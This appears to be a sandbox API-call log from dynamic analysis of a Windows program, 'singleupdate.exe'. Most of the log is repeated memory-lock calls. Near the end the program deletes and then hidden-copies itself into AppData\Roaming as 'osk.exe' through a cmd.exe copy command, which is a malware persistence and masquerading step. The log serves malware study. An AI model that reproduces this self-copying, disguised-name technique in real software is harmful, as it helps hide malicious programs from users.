0x209000c [0208.492] GlobalUnlock (hMem=0x209000c) returned 0 [0208.492] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.492] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.492] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.492] GlobalUnlock (hMem=0x209000c) returned 0 [0208.492] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.492] GlobalUnlock (hMem=0x2090004) returned 0 [0208.492] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.492] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.492] GlobalUnlock (hMem=0x2090004) returned 0 [0208.492] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.492] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.492] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.492] GlobalUnlock (hMem=0x2090004) returned 0 [0208.492] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.492] GlobalUnlock (hMem=0x209000c) returned 0 [0208.492] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.492] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.492] GlobalUnlock (hMem=0x209000c) returned 0 [0208.492] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.492] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.493] GlobalUnlock (hMem=0x209000c) returned 0 [0208.493] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.493] GlobalUnlock (hMem=0x2090004) returned 0 [0208.493] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.493] GlobalUnlock (hMem=0x2090004) returned 0 [0208.493] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.493] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.493] GlobalUnlock (hMem=0x2090004) returned 0 [0208.493] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.493] GlobalUnlock (hMem=0x209000c) returned 0 [0208.493] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.493] GlobalUnlock (hMem=0x209000c) returned 0 [0208.493] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.493] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.493] GlobalUnlock (hMem=0x209000c) returned 0 [0208.493] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.493] GlobalUnlock (hMem=0x2090004) returned 0 [0208.493] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.493] GlobalUnlock (hMem=0x2090004) returned 0 [0208.493] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.493] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.493] GlobalUnlock (hMem=0x2090004) returned 0 [0208.493] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.493] GlobalUnlock (hMem=0x209000c) returned 0 [0208.493] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.493] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.493] GlobalUnlock (hMem=0x209000c) returned 0 [0208.494] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.494] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.494] GlobalUnlock (hMem=0x209000c) returned 0 [0208.494] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.494] GlobalUnlock (hMem=0x2090004) returned 0 [0208.494] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.494] GlobalUnlock (hMem=0x2090004) returned 0 [0208.494] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.494] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.494] GlobalUnlock (hMem=0x2090004) returned 0 [0208.494] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.494] GlobalUnlock (hMem=0x209000c) returned 0 [0208.494] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.494] GlobalUnlock (hMem=0x209000c) returned 0 [0208.494] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.494] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.494] GlobalUnlock (hMem=0x209000c) returned 0 [0208.494] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.494] GlobalUnlock (hMem=0x2090004) returned 0 [0208.494] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.494] GlobalUnlock (hMem=0x2090004) returned 0 [0208.494] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.494] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.494] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.494] GlobalUnlock (hMem=0x2090004) returned 0 [0208.494] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.494] GlobalUnlock (hMem=0x209000c) returned 0 [0208.495] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.495] GlobalUnlock (hMem=0x209000c) returned 0 [0208.495] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.495] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.495] GlobalUnlock (hMem=0x209000c) returned 0 [0208.495] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.495] GlobalUnlock (hMem=0x2090004) returned 0 [0208.495] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.495] GlobalUnlock (hMem=0x2090004) returned 0 [0208.495] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.495] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.495] GlobalUnlock (hMem=0x2090004) returned 0 [0208.495] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.495] GlobalUnlock (hMem=0x209000c) returned 0 [0208.495] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.495] GlobalUnlock (hMem=0x209000c) returned 0 [0208.495] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.495] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.495] GlobalUnlock (hMem=0x209000c) returned 0 [0208.495] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.495] GlobalUnlock (hMem=0x2090004) returned 0 [0208.495] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.495] GlobalUnlock (hMem=0x2090004) returned 0 [0208.495] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.495] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.495] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.495] GlobalUnlock (hMem=0x2090004) returned 0 [0208.496] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.496] GlobalUnlock (hMem=0x209000c) returned 0 [0208.496] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.496] GlobalUnlock (hMem=0x209000c) returned 0 [0208.496] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.496] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.496] GlobalUnlock (hMem=0x209000c) returned 0 [0208.496] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.496] GlobalUnlock (hMem=0x2090004) returned 0 [0208.496] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.496] GlobalUnlock (hMem=0x2090004) returned 0 [0208.496] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.496] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.496] GlobalUnlock (hMem=0x2090004) returned 0 [0208.496] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.496] GlobalUnlock (hMem=0x209000c) returned 0 [0208.496] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.496] GlobalUnlock (hMem=0x209000c) returned 0 [0208.496] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.496] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.496] GlobalUnlock (hMem=0x209000c) returned 0 [0208.496] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.496] GlobalUnlock (hMem=0x2090004) returned 0 [0208.496] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.496] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.496] GlobalUnlock (hMem=0x2090004) returned 0 [0208.496] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.497] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.497] GlobalUnlock (hMem=0x2090004) returned 0 [0208.497] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.497] GlobalUnlock (hMem=0x209000c) returned 0 [0208.497] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.497] GlobalUnlock (hMem=0x209000c) returned 0 [0208.497] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.497] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.497] GlobalUnlock (hMem=0x209000c) returned 0 [0208.497] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.497] GlobalUnlock (hMem=0x2090004) returned 0 [0208.497] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.497] GlobalUnlock (hMem=0x2090004) returned 0 [0208.497] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.497] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.497] GlobalUnlock (hMem=0x2090004) returned 0 [0208.497] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.497] GlobalUnlock (hMem=0x209000c) returned 0 [0208.497] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.497] GlobalUnlock (hMem=0x209000c) returned 0 [0208.497] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.497] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.497] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.497] GlobalUnlock (hMem=0x209000c) returned 0 [0208.497] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.497] GlobalUnlock (hMem=0x2090004) returned 0 [0208.497] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.498] GlobalUnlock (hMem=0x2090004) returned 0 [0208.498] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.498] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.498] GlobalUnlock (hMem=0x2090004) returned 0 [0208.498] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.498] GlobalUnlock (hMem=0x209000c) returned 0 [0208.498] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.498] GlobalUnlock (hMem=0x209000c) returned 0 [0208.498] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.498] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.498] GlobalUnlock (hMem=0x209000c) returned 0 [0208.498] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.498] GlobalUnlock (hMem=0x2090004) returned 0 [0208.498] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.498] GlobalUnlock (hMem=0x2090004) returned 0 [0208.498] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.498] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.498] GlobalUnlock (hMem=0x2090004) returned 0 [0208.498] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.498] GlobalUnlock (hMem=0x209000c) returned 0 [0208.498] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.498] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.498] GlobalUnlock (hMem=0x209000c) returned 0 [0208.498] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.498] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.499] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.499] GlobalUnlock (hMem=0x209000c) returned 0 [0208.499] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.499] GlobalUnlock (hMem=0x2090004) returned 0 [0208.499] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.499] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.499] GlobalUnlock (hMem=0x2090004) returned 0 [0208.499] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.499] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.499] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.499] GlobalUnlock (hMem=0x2090004) returned 0 [0208.499] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.499] GlobalUnlock (hMem=0x209000c) returned 0 [0208.499] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.499] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.499] GlobalUnlock (hMem=0x209000c) returned 0 [0208.499] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.499] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.499] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.499] GlobalUnlock (hMem=0x209000c) returned 0 [0208.499] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.499] GlobalUnlock (hMem=0x2090004) returned 0 [0208.500] SHGetMalloc (in: ppMalloc=0x19f134 | out: ppMalloc=0x19f134*=0x75e4d000) returned 0x0 [0208.500] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x19f130 | out: ppidl=0x19f130) returned 0x0 [0208.603] SHGetPathFromIDListW (in: pidl=0x6c8588, pszPath=0x225ec2c | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0208.604] SysReAllocStringLen (in: pbstr=0x19f15c*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming", len=0x1f | out: pbstr=0x19f15c*="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0208.604] IMalloc:Free (This=0x75e4d000, pv=0x6c8588) [0208.604] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0208.604] SysReAllocStringLen (in: pbstr=0x438208*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming", len=0x1f | out: pbstr=0x438208*="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0208.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3e298b8, cbMultiByte=7, lpWideCharStr=0x19e130, cchWideChar=2047 | out: lpWideCharStr="osk.exee뤠男H") returned 7 [0208.604] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.604] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.604] GlobalUnlock (hMem=0x2090004) returned 0 [0208.604] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.604] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.604] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.604] GlobalUnlock (hMem=0x2090004) returned 0 [0208.604] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.604] GlobalUnlock (hMem=0x209000c) returned 0 [0208.604] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.604] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.604] GlobalUnlock (hMem=0x209000c) returned 0 [0208.604] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.605] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.605] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.605] GlobalUnlock (hMem=0x209000c) returned 0 [0208.605] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.605] GlobalUnlock (hMem=0x2090004) returned 0 [0208.605] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.605] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.605] GlobalUnlock (hMem=0x2090004) returned 0 [0208.605] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.605] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.605] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.605] GlobalUnlock (hMem=0x2090004) returned 0 [0208.605] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.605] GlobalUnlock (hMem=0x209000c) returned 0 [0208.605] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\shwlwook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f200 | out: phkResult=0x19f200*=0x0) returned 0x2 [0208.609] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19efc4 | out: lpFindFileData=0x19efc4) returned 0x67b328 [0208.609] FileTimeToLocalFileTime (in: lpFileTime=0x19efd8, lpLocalFileTime=0x19ef58 | out: lpLocalFileTime=0x19ef58) returned 1 [0208.609] FileTimeToDosDateTime (in: lpFileTime=0x19ef58, lpFatDate=0x19efa6, lpFatTime=0x19efa4 | out: lpFatDate=0x19efa6, lpFatTime=0x19efa4) returned 1 [0208.609] FindClose (in: hFindFile=0x67b328 | out: hFindFile=0x67b328) returned 1 [0208.610] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19efc4 | out: lpFindFileData=0x19efc4) returned 0x67b428 [0208.610] FileTimeToLocalFileTime (in: lpFileTime=0x19efd8, lpLocalFileTime=0x19ef58 | out: lpLocalFileTime=0x19ef58) returned 1 [0208.610] FileTimeToDosDateTime (in: lpFileTime=0x19ef58, lpFatDate=0x19efa6, lpFatTime=0x19efa4 | out: lpFatDate=0x19efa6, lpFatTime=0x19efa4) returned 1 [0208.610] FindClose (in: hFindFile=0x67b428 | out: hFindFile=0x67b428) returned 1 [0208.610] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 1 [0208.616] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f008, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0208.617] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.617] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.617] GlobalUnlock (hMem=0x209000c) returned 0 [0208.617] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0208.617] GlobalLock (hMem=0x2090004) returned 0x3bc9748 [0208.617] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0208.617] GlobalUnlock (hMem=0x209000c) returned 0 [0208.617] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0208.617] GlobalUnlock (hMem=0x2090004) returned 0 [0208.617] SysReAllocStringLen (in: pbstr=0x19f1b4*=0x0, psz="/c copy /y \"@\" \"#\"", len=0x12 | out: pbstr=0x19f1b4*="/c copy /y \"@\" \"#\"") returned 1 [0208.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"@\" \"#\"", cchWideChar=18, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"@\" \"#\"g", lpUsedDefaultChar=0x0) returned 18 [0208.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0208.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\" \"#\"", cchWideChar=5, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\" \"#\"py /y \"@\" \"#\"g", lpUsedDefaultChar=0x0) returned 5 [0208.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0208.617] SysReAllocStringLen (in: pbstr=0x19f208*=0x0, psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", len=0x39 | out: pbstr=0x19f208*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"") returned 1 [0208.618] SysReAllocStringLen (in: pbstr=0x19f210*="/c copy /y \"@\" \"#\"", psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", len=0x39 | out: pbstr=0x19f210*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"") returned 1 [0208.618] SysReAllocStringLen (in: pbstr=0x19f1b4*=0x0, psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", len=0x39 | out: pbstr=0x19f1b4*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"") returned 1 [0208.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", cchWideChar=57, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"M@", lpUsedDefaultChar=0x0) returned 57 [0208.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0208.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x19e180, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0208.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x19e17c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0208.618] SysReAllocStringLen (in: pbstr=0x19f204*=0x0, psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", len=0x5f | out: pbstr=0x19f204*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"") returned 1 [0208.618] SysReAllocStringLen (in: pbstr=0x19f210*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"#\"", psz="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", len=0x5f | out: pbstr=0x19f210*="/c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"") returned 1 [0208.618] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.618] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.618] GlobalUnlock (hMem=0x2090004) returned 0 [0208.618] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0208.618] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0208.618] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0208.618] GlobalUnlock (hMem=0x2090004) returned 0 [0208.618] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0208.618] GlobalUnlock (hMem=0x209000c) returned 0 [0208.618] GetEnvironmentVariableA (in: lpName="COMSPEC", lpBuffer=0x19edc0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0208.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3e0ccf0, cbMultiByte=27, lpWideCharStr=0x19e1c0, cchWideChar=2047 | out: lpWideCharStr="C:\\WINDOWS\\system32\\cmd.exe") returned 27 [0208.619] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32\\", lpStartupInfo=0x19f184*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f174 | out: lpCommandLine="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"", lpProcessInformation=0x19f174*(hProcess=0x2bc, hThread=0x334, dwProcessId=0xfb4, dwThreadId=0xf1c)) returned 1 [0208.631] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0210.454] CloseHandle (hObject=0x2bc) returned 1 [0210.454] CloseHandle (hObject=0x334) returned 1 [0210.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19ef74 | out: lpFindFileData=0x19ef74) returned 0x67b268 [0210.454] FileTimeToLocalFileTime (in: lpFileTime=0x19ef88, lpLocalFileTime=0x19ef08 | out: lpLocalFileTime=0x19ef08) returned 1 [0210.454] FileTimeToDosDateTime (in: lpFileTime=0x19ef08, lpFatDate=0x19ef56, lpFatTime=0x19ef54 | out: lpFatDate=0x19ef56, lpFatTime=0x19ef54) returned 1 [0210.454] FindClose (in: hFindFile=0x67b268 | out: hFindFile=0x67b268) returned 1 [0210.455] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" runas" [0210.457] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" runas" [0210.459] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0210.459] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0210.459] GlobalUnlock (hMem=0x209000c) returned 0 [0210.459] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0210.459] GlobalLock 